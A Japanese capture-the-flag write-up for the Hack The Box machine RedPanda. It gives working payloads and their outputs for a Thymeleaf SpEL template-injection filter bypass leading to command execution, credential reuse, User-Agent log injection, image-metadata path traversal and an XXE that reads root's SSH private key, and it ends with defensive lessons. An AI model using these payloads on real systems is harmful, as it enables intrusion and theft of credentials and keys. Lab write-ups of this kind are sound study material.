Hack The BoxのWriteup(RedPanda)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: RedPanda — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/8080(Spring Boot)
→
SpEL SSTI
${…}禁止 → *{…}でバイパス
→
ソースコード漏洩
MainController.javaのJDBC資格情報
→
SSH woodenk
user.txt ✓
→
悪意XML + Artist改変画像
/credits/ パストラバーサル
→
User-Agentログポイズニング
|| 注入でuriを差替え
→
root cron → XXE発火
id_rsaがXML内に展開
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & バージョン検出

BASH
nmap -sV -sC -p 22,8080 10.129.227.207
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
8080/tcp open  http    Apache Tomcat
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests
ℹ️
「Red Panda Search」という独自のJava Spring Bootアプリが8080番で稼働。 検索ボックスにキーワードを入れるだけのシンプルなUIだが、 検索語をサーバー側テンプレートエンジンにそのまま渡している疑いが濃い。
PHASE 2

Spring Boot SpEL SSTI — フィルターバイパスでRCE

${…} は禁止文字としてブロックされる

BASH
curl -s -X POST http://10.129.227.207:8080/search \
  --data-urlencode 'name=${7*7}'
RESULT
<h2 class="searched">You searched for: Error occured: banned characters</h2>
ℹ️
アプリ側は${...}(Spring Thymeleafの標準式)や#{...}を ブラックリストでブロックしている。しかしThymeleafには第3の式構文 *{...}(selection expression)が存在し、こちらはフィルタの対象外。

*{…} で SpEL が評価されることを確認

BASH
curl -s -X POST http://10.129.227.207:8080/search \
  --data-urlencode 'name=*{T(java.lang.Runtime).getRuntime().exec("id")}'
RESULT
<h2 class="searched">You searched for: Process[pid=3024, exitValue="not exited"]</h2>
✅
*{...}がSpELとして評価されRuntime.exec()が実際に呼ばれた (Processオブジェクトのトースト文字列が反射された)ことを確認。 あとはプロセスの標準出力を読み取って画面に反射させるだけでRCEが完成する。

IOUtils.toString() で標準出力を反射させる完全なRCEペイロード

BASH
curl -s -X POST http://10.129.227.207:8080/search --data-urlencode \
  'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","id"}).getInputStream())}'
RESULT
<h2 class="searched">You searched for: uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
</h2>
✅
RCE確定。アプリ内蔵のApache Commons IOのIOUtils.toString()を 流用し、Runtime.exec()が返すプロセスの標準出力ストリームを文字列化して 画面に反射させている。woodenkユーザーのlogsグループ所属である点も要記憶 (後のログポイズニングと関連)。
PHASE 3

アプリのソースコードを読み取り資格情報を奪取 & user.txt

SSTI経由でMainController.javaをcatする

BASH (bashコマンドをbase64で包んでクォート問題を回避)
cmd='cat /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java'
b64=$(echo -n "$cmd" | base64 -w0)
curl -s -X POST http://10.129.227.207:8080/search --data-urlencode \
  "name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{\"bash\",\"-c\",\"echo $b64|base64 -d|bash\"}).getInputStream())}"
RESULT (抜粋)
Class.forName(&quot;com.mysql.cj.jdbc.Driver&quot;);
conn = DriverManager.getConnection(&quot;jdbc:mysql://localhost:3306/red_panda&quot;,
                                    &quot;woodenk&quot;, &quot;RedPandazRule&quot;);
🚨
MySQL接続用の資格情報 woodenk:RedPandazRule がソース中にハードコード されている。レスポンスはThymeleafのHTML自動エスケープにより"が &amp;quot;として反射される点に注意(curlの生出力をそのまま正規表現で 拾おうとすると「”」ではなく「&quot;」になっている)。
⚠️
引数のbash -c "..."に複雑なコマンド(パイプ・パス区切りの/含む)を 直接埋め込むとクォートが崩壊するため、実行したいコマンドを先にbase64化し、 ターゲット側でbase64 -dしてからbashに渡す方式が確実。

資格情報の使い回しでSSHログイン & user.txt取得

BASH
sshpass -p 'RedPandazRule' ssh woodenk@10.129.227.207 \
  "id; hostname; cat /home/woodenk/user.txt"
RESULT
uid=1000(woodenk) gid=1000(woodenk) groups=1000(woodenk)
redpanda
da5467b92c0134047b5253db1acc6681
user.txt — woodenk
da5467b92c0134047b5253db1acc6681
ℹ️
DB専用に見える資格情報がOS(SSH)のログインパスワードとしてもそのまま使い回されている 典型的な横移動パターン。
PHASE 4

root cron が処理するXXE用XMLと改変画像の仕込み

root権限で動く定期ジョブの正体を確認

BASH
woodenk@redpanda:~$ ls -la /opt/credit-score/LogParser/final/target/
RESULT
-rw-r--r-- 1 root root 1280956 Jun 20  2022 final-1.0-jar-with-dependencies.jar
ℹ️
このjarはroot所有のcron(約2分間隔)で実行される。内部のApp.javaロジックは 概ね次の通り(逆コンパイル・公開情報ベース): /opt/panda_search/redpanda.logを 1行ずつ読み、行に.jpgを含めば記載されたuriの画像ファイルを開いて Artistメタデータを抽出し、"/credits/" + author + "_creds.xml"という パスをXMLパーサ(外部実体参照を無効化していない設定)に渡して読み込む。

/credits ディレクトリの権限確認

BASH
woodenk@redpanda:~$ stat /credits
RESULT
Access: (0650/drw-r-x---)  Uid: (    0/    root)   Gid: ( 1001/    logs)
🚨
/creditsはroot所有・logsグループに読み取り専用(r-x、書込不可)。 woodenkはlogsグループなので中身は見えるが新規ファイルは作れない。 そこでArtistメタデータにパストラバーサル文字列を仕込み、 "/credits/" + "../tmp/hax" + "_creds.xml" = /tmp/hax_creds.xml に逃がすことで、書込権限の制約を回避する。

悪意あるXXE用XMLを /tmp/hax_creds.xml に配置

BASH (ローカルでXML作成)
cat > hax_creds.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE author [<!ENTITY xxe SYSTEM 'file:///root/.ssh/id_rsa'>]>
<credits>
  <author>&xxe;</author>
  <image><uri>/img/smooch.jpg</uri><views>1</views></image>
  <totalviews>1</totalviews>
</credits>
EOF
b64=$(base64 -w0 hax_creds.xml)
sshpass -p 'RedPandazRule' ssh woodenk@10.129.227.207 \
  "echo '$b64' | base64 -d > /tmp/hax_creds.xml"
ℹ️
外部実体&xxe;にfile:///root/.ssh/id_rsaを指定。 cronのXMLパーサがこのファイルを読み込む際、<author>要素の中身として 秘密鍵の内容がそのまま展開されて書き戻される(典型的な 「XXEでファイル内容を要素値に埋め込ませて読み出す」パターン)。改行を保持するため ローカルでファイルを作ってbase64経由で転送している。

サイト画像を取得しArtistメタデータを改変

BASH
curl -s -o smooch.jpg http://10.129.227.207:8080/img/smooch.jpg
exiftool -Artist smooch.jpg
RESULT
Artist                          : woodenk
BASH (Artistをパストラバーサル文字列に書き換え)
exiftool -overwrite_original -Artist='../tmp/hax' smooch.jpg
exiftool -Artist smooch.jpg
RESULT
Artist                          : ../tmp/hax
ℹ️
元の画像のArtistはwoodenk(アプリが想定する正規の作者名の一つ)だった。 画像メタデータは利用者が自由に書き換えられる「信頼できない入力」であるにも関わらず、 そのままファイルパス構築に使われている点が本質的な脆弱性。

改変画像をターゲットの /tmp/smooch.jpg に配置

BASH
cat smooch.jpg | sshpass -p 'RedPandazRule' ssh woodenk@10.129.227.207 \
  "cat > /tmp/smooch.jpg"
RESULT
-rw-rw-r-- 1 woodenk woodenk 195967 ... /tmp/smooch.jpg
PHASE 5

User-Agentへの || 注入でアプリログを汚染し画像パスを差し替え

通常時のログ形式を確認

BASH
woodenk@redpanda:~$ tail -1 /opt/panda_search/redpanda.log
RESULT
200||10.10.15.200||curl/8.21.0||/img/smooch.jpg
ℹ️
ログ形式はステータス||送信元IP||User-Agent||リクエストURIの ||区切り4フィールド。cronのログパーサはこれを split("\\|\\|")相当で分解し、4番目のフィールド(uri)が.jpgを 含んでいれば画像として扱う。

User-Agentに || を仕込んでフィールドをずらす

BASH
for i in 1 2 3 4 5 6; do
  curl -s -A 'evil||/../../../../../../../../../../tmp/smooch.jpg' \
    http://10.129.227.207:8080/ -o /dev/null
done
RESULT (汚染後のログ)
200||10.10.15.200||evil||/../../../../../../../../../../tmp/smooch.jpg||/
🚨
User-Agentヘッダー自体に区切り文字と同じ||を含めることで、 アプリが期待するフィールド数・位置を意図的にずらす「ログインジェクション」。 本来は末尾の/(トップページへのアクセス)がuriになるはずが、 User-Agent内の||によって攻撃者が指定したパストラバーサル文字列が uriの位置に割り込む結果になる。パーサが単純な文字列分割のみで、 各フィールド内に区切り文字自体が含まれる可能性を考慮していないために起きる。 念のため複数回送信し、cronが読む1行を確実に汚染させておく。
PHASE 6

root cronの発火を待ち、XXEで漏れたroot鍵でroot.txtを取得

cronがXXEを実行するまでポーリング

BASH
for i in $(seq 1 15); do
  out=$(sshpass -p 'RedPandazRule' ssh woodenk@10.129.227.207 \
    "cat /tmp/hax_creds.xml 2>/dev/null")
  echo "$out" | grep -q "PRIVATE KEY" && { echo "$out"; break; }
  sleep 20
done
RESULT
<credits>
  <author>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
...
-----END OPENSSH PRIVATE KEY-----</author>
  <image>
    <uri>/img/smooch.jpg</uri>
    <views>1</views>
  </image>
  <totalviews>1</totalviews>
</credits>
✅
cronが汚染ログを処理 → 改変画像のArtist(../tmp/hax)を読み取り → /credits/../tmp/hax_creds.xml = /tmp/hax_creds.xmlをXML展開 → &xxe;が/root/.ssh/id_rsaの中身に置換されて <author>要素に書き戻された。XXEによる任意ファイル読み取りが成立。

盗んだroot鍵でSSHログイン & root.txt取得

BASH
# 内の鍵部分を root_id_rsa として保存後
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.129.227.207 "id; hostname; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
redpanda
c3e1c169fbaae1962170c495db607ec9
root.txt — root (XXE経由のSSH鍵)
c3e1c169fbaae1962170c495db607ec9
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — woodenk
da5467b92c0134047b5253db1acc6681
root.txt — root
c3e1c169fbaae1962170c495db607ec9

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SpEL SSTI(${…}フィルターの不完全な実装) 「Red Panda Search」検索フォーム(8080) リモートコード実行 Critical ${...}/#{...}のみブラックリストし、Thymeleafの*{...}(selection expression)を見落としている
ソースコード内の資格情報ハードコード + 使い回し MainController.java / SSH 権限昇格の起点(RCE→SSH) High SSTIでソースをcatしDB資格情報を窃取、同じ認証情報がOSログインにも使い回されている
ログインジェクション(区切り文字の未エスケープ) redpanda.logのUser-Agent記録処理 ログ内容の改ざん・なりすまし Medium User-Agentヘッダー自体に区切り文字||を含め、後続のURIフィールド位置をずらして任意パスを注入
XXE(外部実体参照が無効化されていないXMLパーサ) root cronのログ解析/クレジットXML処理(JDOM SAXBuilder) 任意ファイル読み取り(root権限) Critical 信頼できない画像メタデータ(Artist)からファイルパスを構築する設計と組み合わせ、パストラバーサルで任意パスのXXE用XMLを読ませ root の SSH秘密鍵を窃取

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22(SSH)/8080(Spring Boot “Red Panda Search”)
2SSTI*{...}フィルターバイパス + IOUtils反射任意コマンド実行(woodenk権限)
3資格情報窃取SSTIでMainController.javaをcatuser.txt(woodenk:RedPandazRule でSSH)
4XXE準備悪意XML配置 + exiftool Artist改変 + 画像アップロード/credits/ パストラバーサルのプリミティブ確立
5ログポイズニングUser-Agent ||注入cronが読むログ行のuriを改変画像パスへ差替え
6権限昇格root cron → XXE → id_rsa窃取root.txt

学んだ教訓 & 防御策

問題点防御策
テンプレートインジェクション対策がブラックリスト方式(${…}/#{…}のみ)で網羅的でない ユーザー入力を式言語として評価すること自体を避け、やむを得ない場合はサンドボックス化されたSpEL評価コンテキストを使う。ブラックリストでなくホワイトリスト(評価そのものを許可しない)を基本方針にする。
DB接続情報がソースコードにハードコードされ、OSログインにも使い回されている 資格情報は環境変数やシークレットマネージャーで外部化し、サービスごとに異なる認証情報を発行する。
ログ記録処理が区切り文字のエスケープなしで単純結合・分割している ログは構造化フォーマット(JSON等)で記録し、フィールド内に区切り文字が出現しても安全な形でエンコードする。
信頼できないファイル(画像)のメタデータを検証なしにファイルパス構築へ使用 外部入力由来の値をパス構築に使う前に、ホワイトリスト検証・basename()でのサニタイズを必須化する。
XMLパーサで外部実体参照(XXE)が無効化されていない SAXBuilder等のXMLパーサでsetFeature("http://apache.org/xml/features/disallow-doctype-decl", true)相当の設定を行い、DTD宣言・外部実体参照を既定で無効化する。
HackTheBox: RedPanda | 完全攻略レポート